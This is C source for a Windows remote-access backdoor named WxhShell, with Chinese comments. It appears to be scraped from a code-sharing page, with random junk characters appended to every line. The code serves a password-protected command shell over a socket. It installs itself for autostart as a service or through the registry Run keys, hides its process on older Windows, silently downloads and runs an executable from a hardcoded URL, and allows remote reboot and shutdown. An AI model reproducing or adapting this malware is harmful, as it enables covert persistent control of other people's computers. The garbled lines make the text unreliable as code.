    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BvZ^^IUb  
    else { aa0`y  
    closesocket(wsh); 7tfivIj)e  
    ExitThread(0); EB29vHAt~  
    } A M1C $  
    break; 4`UL1)A]  
    } Mi/ &$" =  
  // 获取shell csdOIF  
  case 's': { (+gL#/u  
    CmdShell(wsh); +i`Q 7+d  
    closesocket(wsh); ^QXw[th!d  
    ExitThread(0); 4g6ksdFQ  
    break; =,C9O  
  } V@f6Lj  
  // 退出 hM36QOdm  
  case 'x': { $['7vcB^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iO9nvM<  
    CloseIt(wsh); DD@)z0W  
    break; S}m$,<x  
    } %7NsBR!y  
  // 离开 5U)ab3 :  
  case 'q': { ,XeyE;||  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c>R`jb@$N  
    closesocket(wsh); Y[ iDX#  
    WSACleanup(); "^9[OgE:  
    exit(1); &$b\=  
    break; uO ?Od  
        } P>{US1t  
  } zmB31' _  
  } Z@uTkqG)  
%_b^!FR  
  // 提示信息 B=Zl&1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b(}Gm@#  
} pwFU2}I  
  } n%0]V Xx#  
Wa[x`:cT?u  
  return; 2ec$xms  
} uq!;  
6WE&((r ^  
// shell模块句柄 ocIt@#20 K  
int CmdShell(SOCKET sock) gf68iR.Gs  
{ pKt-R07*  
STARTUPINFO si; x7P([^i  
ZeroMemory(&si,sizeof(si)); 6o=qJ`m[?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ET,Q3X\Oe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =ze FK_S!  
PROCESS_INFORMATION ProcessInfo; eeW' [  
char cmdline[]="cmd"; 5:Yck<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~9JW#HHzn  
  return 0; V&Xi> X8  
} Fw_ (q!  
4GG1E. z}  
// 自身启动模式 ^Yj"RM$;N  
int StartFromService(void) 87QZun%  
{ tmO;:n<N  
typedef struct M"=8O>NZ2  
{ Qw24/DJK  
  DWORD ExitStatus; 'oz hz2s  
  DWORD PebBaseAddress; D9qX->p  
  DWORD AffinityMask; ],;D2]<s  
  DWORD BasePriority; AIuMX4nb  
  ULONG UniqueProcessId; UI!6aVL.  
  ULONG InheritedFromUniqueProcessId; BRQ"A,  
}   PROCESS_BASIC_INFORMATION; R<f#r03@|  
KxO/]  
PROCNTQSIP NtQueryInformationProcess; x}tKewdOSe  
:{[<g](  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /Zo~1q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [f<"p[  
G/v|!}?wG  
  HANDLE             hProcess; K!3{M!B   
  PROCESS_BASIC_INFORMATION pbi; B|cA[  
DdBxqkh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nIfN"  
  if(NULL == hInst ) return 0; *;<e '[Y7f  
12idM*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tf4*R_6;1$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y4QLs^IdB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RnHQq'J|\  
31WZJm^  
  if (!NtQueryInformationProcess) return 0; |<sf:#YzY&  
x+4v s s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JW=uK$sO  
  if(!hProcess) return 0; F[5S(7M 7  
m7JPH7P@BM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g^1r0.Sp{8  
5N\+@grp  
  CloseHandle(hProcess); f2NA=%\  
o6*/o ]]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |Eb&}m:E$  
if(hProcess==NULL) return 0; yL.^ =  
|VK:2p^ u  
HMODULE hMod; Zb]/nP1P  
char procName[255]; AWO0NWTB  
unsigned long cbNeeded; hHpx?9O+!  
't7Z] G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /mc*Hc 8R8  
]3}feU+  
  CloseHandle(hProcess); dsV ~|D6:  
Yt{ji  
if(strstr(procName,"services")) return 1; // 以服务启动 B~?c3:6  
) !i!3  
  return 0; // 注册表启动 QO2Ut!Y  
} OZ^h\m4  
%VWp&a8  
// 主模块 !nwbj21%  
int StartWxhshell(LPSTR lpCmdLine) [UoqIU  
{ bhYU5I 9  
  SOCKET wsl; wazP,9W?  
BOOL val=TRUE; AP0|z  
  int port=0; n'yl)HA~>`  
  struct sockaddr_in door; (-\]A|  
~ 7}]  
  if(wscfg.ws_autoins) Install(); ijF V<P  
vO]J]][  
port=atoi(lpCmdLine); >60"p~t  
Ir/:d]N*  
if(port<=0) port=wscfg.ws_port; U+} y %3l  
(xL :;  
  WSADATA data; UT4f (Xo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dMJ!>l>2  
zks#EzQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a%E8(ms37y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pu..NPl+  
  door.sin_family = AF_INET; 4:U0f;Fs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^!}F%  
  door.sin_port = htons(port); 9:-T@u  
ra]:$XJ5=a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $T),DUYO  
closesocket(wsl); Ukc'?p,*  
return 1; Fj^AW v^/  
} '0RRFO  
IcFK,y%1  
  if(listen(wsl,2) == INVALID_SOCKET) { 4 \ F P  
closesocket(wsl); )|RZa|`-G  
return 1; y\#o2PVmY  
} 3u_oRs  
  Wxhshell(wsl); *Tp]h 0  
  WSACleanup(); \5hw9T&[B  
4gOgWBv  
return 0; W`x)=y]Z  
>S'>!w  
} >rw"Rd'  
G#0,CLGN^  
// 以NT服务方式启动 p+[} Hxx=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X2^_~<I{,  
{ Q>=-ext}q  
DWORD   status = 0; Lm|al.Z  
  DWORD   specificError = 0xfffffff; ;Iq5|rzDn  
u!Bk,}CE`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _2OuskL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O>AFF@=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TsD;Kl1  
  serviceStatus.dwWin32ExitCode     = 0; AS|Rd+ .  
  serviceStatus.dwServiceSpecificExitCode = 0; + |C=ZU  
  serviceStatus.dwCheckPoint       = 0; F;kvH  
  serviceStatus.dwWaitHint       = 0; ao$):,2*  
ffk4mhH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d}-'<Z#G  
  if (hServiceStatusHandle==0) return; XWtiwf'K  
;SY.WfVA7  
status = GetLastError(); WNF9#oN|oT  
  if (status!=NO_ERROR) ,|pp67  
{ <hv7s,i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *1bzg/T<  
    serviceStatus.dwCheckPoint       = 0; e$|VG* d  
    serviceStatus.dwWaitHint       = 0; m7m \`;  
    serviceStatus.dwWin32ExitCode     = status; y5u\j{?Te  
    serviceStatus.dwServiceSpecificExitCode = specificError; Uh}X<d/V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J8;Okzb!L  
    return; C:GvP>  
  } fsvYU0L  
Ae49n4J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rd%0\ B  
  serviceStatus.dwCheckPoint       = 0; 1[DS'S  
  serviceStatus.dwWaitHint       = 0; A[H;WKn0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?"j@;/=  
} *Jt8  
R 1'`F{56  
// 处理NT服务事件,比如:启动、停止 GwQn;gkF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F=}Z51|:~  
{ Mm#[&j[Y  
switch(fdwControl) Dp^/gL=  
{ =i6:puf  
case SERVICE_CONTROL_STOP: C).2gQ G  
  serviceStatus.dwWin32ExitCode = 0; kCA5|u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YwAnqAg  
  serviceStatus.dwCheckPoint   = 0; 'ere!:GJD  
  serviceStatus.dwWaitHint     = 0; gX,9Gh  
  { KzVTkDn,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 254~:eB0  
  } HmV /> 9  
  return; p4wr`" Zz  
case SERVICE_CONTROL_PAUSE: !kXeO6X@m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s'L?;:)dyB  
  break; c3k|G<C2  
case SERVICE_CONTROL_CONTINUE: (1){A8=?o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; / L~u0 2?  
  break; VPd,]]S5(  
case SERVICE_CONTROL_INTERROGATE: 70Ka!  
  break; ( v@jc8y  
}; (~()RkT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < y>:B}9'  
} f0oek{  
Fe$/t(  
// 标准应用程序主函数 iV hJH4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) daX*}Ix  
{ Coa-8j*R7  
%EI<@Ps8c  
// 获取操作系统版本 ~L4eZ  
OsIsNt=GetOsVer(); CBHc A'L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -&Gfh\_NW  
{4rQ7J4Ux  
  // 从命令行安装 \0AiCMX[  
  if(strpbrk(lpCmdLine,"iI")) Install(); F~_;o+e;X  
_!AJiP3!)4  
  // 下载执行文件 oJY[{-qW  
if(wscfg.ws_downexe) { }*kJ-q&0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z[&s5"  
  WinExec(wscfg.ws_filenam,SW_HIDE); !R:y'Y%j  
} D,rZ0?R  
?_ RYqolz  
if(!OsIsNt) { 1^{`lK~2  
// 如果时win9x,隐藏进程并且设置为注册表启动 OVswt  
HideProc(); <NB41/  
StartWxhshell(lpCmdLine); 2)\vj5<~$  
} 7 g6RiH}  
else $TG?4  
  if(StartFromService()) `WlE| G[  
  // 以服务方式启动 t ;-L{`mW  
  StartServiceCtrlDispatcher(DispatchTable); `Q%NSU?  
else S,vu]?-8  
  // 普通方式启动 3"rkko?A  
  StartWxhshell(lpCmdLine); E $6ejGw-  
agsISu(  
return 0; [7\>"v6  
} FH\CK  
Hg(5S,O2  
y1,5$0@G  
\Ph7(ik  
=========================================== K $-;;pUl  
@"8R3BN  
#T% zfcUj  
E`AYee%l  
w0Ij'=:  
;CmOsA,1  
" uva\0q  
L[C*@ uK  
#include <stdio.h> :p-Y7CSSu  
#include <string.h> r95zP]T  
#include <windows.h> qrDcL>Hrn  
#include <winsock2.h> `&g:d E(j  
#include <winsvc.h> 8:{ q8xZ=k  
#include <urlmon.h> zM59UQU;  
r/AHJU3&eY  
#pragma comment (lib, "Ws2_32.lib") _T]>/}}p  
#pragma comment (lib, "urlmon.lib") C1QWU5c v  
(=JueF@J  
#define MAX_USER   100 // 最大客户端连接数 v~5<:0dL  
#define BUF_SOCK   200 // sock buffer 8"M<{72U]  
#define KEY_BUFF   255 // 输入 buffer treXOC9^B8  
e1P7 .n}  
#define REBOOT     0   // 重启 d8:C3R  
#define SHUTDOWN   1   // 关机 c{>|o  
9^zx8MRXd  
#define DEF_PORT   5000 // 监听端口 :_H>SR:  
>&hX&,hG  
#define REG_LEN     16   // 注册表键长度 q^Inb)FeN  
#define SVC_LEN     80   // NT服务名长度 u(hC^T1  
c]v +  
// 从dll定义API N!m%~kS9k<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QymD-A"P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uaxB -PZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g1qi\axm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sqG`"O4W  
` Zf9$K|  
// wxhshell配置信息 A&l7d0Z^j5  
struct WSCFG { _?b;0{93u  
  int ws_port;         // 监听端口 -N z}DW>  
  char ws_passstr[REG_LEN]; // 口令 |<Bpv{]P  
  int ws_autoins;       // 安装标记, 1=yes 0=no MPvWCPB  
  char ws_regname[REG_LEN]; // 注册表键名 76cEKHa<  
  char ws_svcname[REG_LEN]; // 服务名 ,?y7 ,nb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (C\r&N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c[{UI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t/ eo]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .,mM%w,^O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]) n0MF)p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ][t 6VA  
^&m?qKN8  
}; >zR14VO`_|  
Tc_do"uU  
// default Wxhshell configuration 8.2`~'V  
struct WSCFG wscfg={DEF_PORT, 7j T}{ x  
    "xuhuanlingzhe", >0V0i%inmF  
    1, #eLN1q&Z  
    "Wxhshell", 8uA<G/Q;  
    "Wxhshell", K;C_Z/<%  
            "WxhShell Service", p`p?li  
    "Wrsky Windows CmdShell Service", z1Q2*:)c  
    "Please Input Your Password: ", C8MWIX}  
  1, -<d(  
  "http://www.wrsky.com/wxhshell.exe", raHVkE{<  
  "Wxhshell.exe" H:Lt$  
    }; :rL?1"   
GLcd9|H  
// 消息定义模块 ! tr9(d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >{F!ntEj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H9E(\)@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LYNZP4(R  
char *msg_ws_ext="\n\rExit."; tQ[]Rc  
char *msg_ws_end="\n\rQuit."; ]b )!YPo  
char *msg_ws_boot="\n\rReboot..."; 3W'FcE)|E  
char *msg_ws_poff="\n\rShutdown..."; ?OO%5PSen  
char *msg_ws_down="\n\rSave to "; 6=3(oUl  
yU!GS-  
char *msg_ws_err="\n\rErr!"; i*z0Jf["  
char *msg_ws_ok="\n\rOK!"; V" }*"P-%  
1b+h>.gWar  
char ExeFile[MAX_PATH];  z \^  
int nUser = 0; RxMoD.kx  
HANDLE handles[MAX_USER]; ^Rk^XQCh  
int OsIsNt; 94YA2_f;  
ETg{yBsp  
SERVICE_STATUS       serviceStatus; b?>VPuyBb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]*GnmG:D*  
I3An57YV].  
// 函数声明 S2bexbp0o  
int Install(void); FSe5k5  
int Uninstall(void); ( mt*y]p?  
int DownloadFile(char *sURL, SOCKET wsh); n5\}KZh  
int Boot(int flag); |C4o zl=O?  
void HideProc(void); :i}@Br+R7L  
int GetOsVer(void); Q2FQhc@L(:  
int Wxhshell(SOCKET wsl); +8eVj#N  
void TalkWithClient(void *cs); L, #Byao  
int CmdShell(SOCKET sock); IE}Sdeqi)  
int StartFromService(void); _^-D _y  
int StartWxhshell(LPSTR lpCmdLine); -zR.'x%  
&rcdr+'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D>S8$]^Dm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;8uHRcdQ  
~7dF/Nn5  
// 数据结构和表定义 cXMa\#P  
SERVICE_TABLE_ENTRY DispatchTable[] = y%FYXwR{  
{ 8,H~4Ce3  
{wscfg.ws_svcname, NTServiceMain}, ys/vI/e\  
{NULL, NULL} 0a@c/ XGBp  
}; 1NW>wo  
3+j^E6@  
// 自我安装 B9AbKK$`  
int Install(void) +~:x}QwGT  
{ lqauk)(A0  
  char svExeFile[MAX_PATH]; /K[]B]1NE  
  HKEY key; K` 2i  
  strcpy(svExeFile,ExeFile); !*9FKDB{  
ig+k[`W  
// 如果是win9x系统,修改注册表设为自启动 pA*i!.E/b  
if(!OsIsNt) { JOPTc]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F~%|3a$Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0:jsV|5B8  
  RegCloseKey(key); @\+%GDv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y>4p~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Il'E6 J  
  RegCloseKey(key); .a5X*M]  
  return 0; } mgVC  
    } 4_WH 6Z  
  } 1+S g"?8  
} <Nvlk\LQ  
else { Oxpo6G  
`Y0fst<,  
// 如果是NT以上系统,安装为系统服务 A(PE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9GtLMpy  
if (schSCManager!=0) IcRM4Ib))Q  
{ pz.Y=V\t  
  SC_HANDLE schService = CreateService x-tm[x@;o  
  ( ?U=mcdqd  
  schSCManager, gfV]^v  
  wscfg.ws_svcname, Tq.MubaO  
  wscfg.ws_svcdisp, Q=^ktKMeR  
  SERVICE_ALL_ACCESS, xAeZ7.Q&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j )<;g(  
  SERVICE_AUTO_START, }5QZ6i#  
  SERVICE_ERROR_NORMAL, er#8D6*  
  svExeFile, u<$S>  
  NULL, 8moUK3w  
  NULL, | pF5`dX  
  NULL, !Jk(&.  
  NULL, i-|/2I9%  
  NULL E {I)LdAqK  
  ); }_Tt1iai*  
  if (schService!=0) F">Nrj-bs  
  { USlF+RY@3L  
  CloseServiceHandle(schService); -bv>iIC  
  CloseServiceHandle(schSCManager); b5lk0jA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ' #;,oX~5  
  strcat(svExeFile,wscfg.ws_svcname); @$2`DI{_^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d4b 9rtM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EI[e+@J  
  RegCloseKey(key); MtMvpHk  
  return 0; +s#S{b  
    } 7qCJ]%)b6  
  } !%SdTaC{T  
  CloseServiceHandle(schSCManager); Fr1;)WV  
} nF|#@O`1  
} QC$=Fs5+  
x.jYip  
return 1; 6n2Vx1b  
} <B|n<R<?  
x@{G(W:W  
// 自我卸载 Jnh;;<  
int Uninstall(void) QO1A976o  
{ C:|q'"F  
  HKEY key; ">0/>>Ry  
1puEP *P  
if(!OsIsNt) { jhjW* F<u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :F!dTD$  
  RegDeleteValue(key,wscfg.ws_regname); ]be 0I)  
  RegCloseKey(key); .y/NudD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / K2.V@T  
  RegDeleteValue(key,wscfg.ws_regname); D=5t=4^H(  
  RegCloseKey(key); `dG.L  
  return 0; .N2nJ/   
  } T U"K#V&u  
} $71D)*{P  
} qaCi)f!Dl  
else { oo$WD6eCR  
Z~-T0Ab-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E.7AbHph0  
if (schSCManager!=0) ]yj4~_&O  
{ U5@TaGbx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "NX m\`8  
  if (schService!=0) :F KYYH\  
  { dy8In%  
  if(DeleteService(schService)!=0) { .g(\B  
  CloseServiceHandle(schService); Mc#O+'](f  
  CloseServiceHandle(schSCManager); ]ut-wqb{p  
  return 0; LX(iuf+l  
  } ul z\x2[Pf  
  CloseServiceHandle(schService); s= GOB"G  
  } 5CRc]Q #@  
  CloseServiceHandle(schSCManager); A .jp<>  
} N%n1>!X)!  
} 4$q )e<-  
Eezlx9b  
return 1; -Fok %iQ'5  
} K[Egwk7  
XEgx#F ;F  
// 从指定url下载文件 vP87{J*DE1  
int DownloadFile(char *sURL, SOCKET wsh) J^F(]  
{ 98b9%Z'2f  
  HRESULT hr; yuy+}]uB@  
char seps[]= "/"; >2/wzsW  
char *token; I 1VEm?CQ  
char *file; %x'bo>h@  
char myURL[MAX_PATH]; Ls$g-k%c@Q  
char myFILE[MAX_PATH]; gv Rc:5B[  
0]2B-o"kI  
strcpy(myURL,sURL); nM(=bEX  
  token=strtok(myURL,seps); p.TiTFu/  
  while(token!=NULL) #BT6bH08X  
  { x>8}|ou  
    file=token; tmY-m,U  
  token=strtok(NULL,seps); esC\R4he  
  } nX.sh  
W:+2We@  
GetCurrentDirectory(MAX_PATH,myFILE); ;SlS!6.W-  
strcat(myFILE, "\\"); MRVz:g\mi  
strcat(myFILE, file); ^b|Nw:  
  send(wsh,myFILE,strlen(myFILE),0); x9o^9QJh  
send(wsh,"...",3,0); 8NF;k5   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !+|N<`  
  if(hr==S_OK) 2 Zjb/  
return 0; 9^ *ZH1  
else 1A/c/iC  
return 1; SFk11  
:9rhv{6Wp  
} 8a$jO+UvN  
M:1F@\<  
// 系统电源模块 FOUs= E[  
int Boot(int flag) :86luLFm  
{ g%q?2Nv  
  HANDLE hToken; >y06s{[  
  TOKEN_PRIVILEGES tkp; 3EW f|6RI  
Z564K7IV  
  if(OsIsNt) { \,cKt_{ u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cp~3Jm3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4M<JfD  
    tkp.PrivilegeCount = 1;  eS@!\H x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "/K&qj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U0bE B  
if(flag==REBOOT) { U37?P7i's  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5vh"PlK`s  
  return 0; 8|-mzb&  
} a_iQlsU  
else { KutgW#+40  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^q N1~v=hS  
  return 0; /&!d  
} RnBmy^l"  
  } oQjB&0k4  
  else { Nj@?}`C 4  
if(flag==REBOOT) { w KMk|y>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <iprPk  
  return 0; vyx\N{  
} ://# %SE  
else { $I6eHjYT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O\8|niW|  
  return 0; =UKR<@QrK  
} {LJ6't 8y:  
} SnF[mN'  
 jnKM6%z  
return 1; 5NvyK[w]  
} (yTz^o$t|  
*=0r>]  
// win9x进程隐藏模块 M^JZ]W(  
void HideProc(void) \^(vlcy  
{ ^Er`{|o6u  
8OtUY}R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P$qkb|D,  
  if ( hKernel != NULL ) O2/w:zOg'  
  { <C96]}/ ?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /uz5V/i0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DMxS-hl  
    FreeLibrary(hKernel); f]A6Mx6  
  } &?Z)V-1H  
]j$p_s>  
return; ;I))gY-n  
} 4Hpu EV8Q  
)W6- h  
// 获取操作系统版本 = hX-jP  
int GetOsVer(void) Z#t)Z "  
{ =bg&CZV T  
  OSVERSIONINFO winfo; iE gM ~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SF7b1jr  
  GetVersionEx(&winfo); 4kF .  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %+B-Z/1}  
  return 1; NEou2y+}  
  else =yhfL2`aw  
  return 0; 3N*C]  
} FRQ("6(  
j=QR*8*  
// 客户端句柄模块 7`<? f O  
int Wxhshell(SOCKET wsl) 5{/Pn%5  
{ AG\ 852`1m  
  SOCKET wsh; _7"W\gn:9  
  struct sockaddr_in client; & O\!!1%  
  DWORD myID; |b~g^4  
R/cq00g  
  while(nUser<MAX_USER) lbU+a$  
{ JU \J  
  int nSize=sizeof(client); Wy>\KrA1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -t'oW*kdL  
  if(wsh==INVALID_SOCKET) return 1; U105u.#7  
$hp?5K M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s l @6  
if(handles[nUser]==0) ;U3Vows  
  closesocket(wsh); 78~V/L;@S2  
else %vYlu%c<  
  nUser++; 9QZwUQ  
  } (Ha}xwA~(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |8{iIvi/  
YgOgYo{E!  
  return 0; 9+Bq00-Z$  
} pYUkd!K"  
}gRLW2&mR>  
// 关闭 socket }M@Jrq+7  
void CloseIt(SOCKET wsh) )^#Zg8L  
{ < ^!eaBR4  
closesocket(wsh); Ki;5 =)  
nUser--; QO1Gq9  
ExitThread(0); /M `y LI  
} '^3pF2lIw  
ibUPd."W  
// 客户端请求句柄 ;OqLNfU3y  
void TalkWithClient(void *cs) Pm;*Jv%  
{ n7.lF  
b+apNph  
  SOCKET wsh=(SOCKET)cs; rWKLxK4oU  
  char pwd[SVC_LEN]; T sW6w  
  char cmd[KEY_BUFF]; h,?Yw+#o"  
char chr[1]; luog_;{h+  
int i,j; K :ptfD  
F4(U~n<  
  while (nUser < MAX_USER) { x+`3G.  
"E!p1  
if(wscfg.ws_passstr) { Xb 1^Oj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D ,^ U%<`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vJ}  
  //ZeroMemory(pwd,KEY_BUFF); 8@ g D03  
      i=0; 8^i,M^f^{  
  while(i<SVC_LEN) { ?|yJ #j1=  
^q r[?ky]&  
  // 设置超时 *X5LyO3-gP  
  fd_set FdRead; yE{UV>ry  
  struct timeval TimeOut; Nx z ,/d  
  FD_ZERO(&FdRead); >&Lu0oHH  
  FD_SET(wsh,&FdRead); aKr4E3`  
  TimeOut.tv_sec=8; SYLkC [0 k  
  TimeOut.tv_usec=0; G=Bj1ss.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  PMZzzZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); me\)JCZpb{  
4HmRsOl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IWnW(>V  
  pwd=chr[0]; H8k| >4  
  if(chr[0]==0xd || chr[0]==0xa) { 1nG"\I5N}  
  pwd=0; (I g *iJ%2  
  break; T5G+^XDA  
  } 5|z[%x~f  
  i++; ;yrcH+I$_  
    } xF0*q  
40/[ uW"  
  // 如果是非法用户,关闭 socket ]xs\,}I%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `?m(Z6'  
} CcE TS}Q0C  
M!@[lJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); obGSc)?j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vdyx74xX  
K?WqAVK  
while(1) { yY|U}]u!V  
UQr+\ u  
  ZeroMemory(cmd,KEY_BUFF); FiL JF!  
a)b@en;v  
      // 自动支持客户端 telnet标准   '-{jn+,  
  j=0; > xw+2<  
  while(j<KEY_BUFF) { 2Ta F7Jn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V4D&&0&n  
  cmd[j]=chr[0]; vS<e/e+  
  if(chr[0]==0xa || chr[0]==0xd) { 9rz"@LM  
  cmd[j]=0; H& +s&F{%  
  break; r?*?iw2g  
  } )qe o`4+y  
  j++; E>v~B;@  
    } qI:wm=  
Atw^C+"vW&  
  // 下载文件 " OtLJ  
  if(strstr(cmd,"http://")) { v-qS 'N 4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QB>e(j%  
  if(DownloadFile(cmd,wsh)) 9G9lSj5>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FT6cOMu  
  else =?hlgQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8%B @[YDe  
  } ;MD{p1w  
  else { @VAhmYz  
k:.c(_2M  
    switch(cmd[0]) { va.wdk g  
  ebchHnOd  
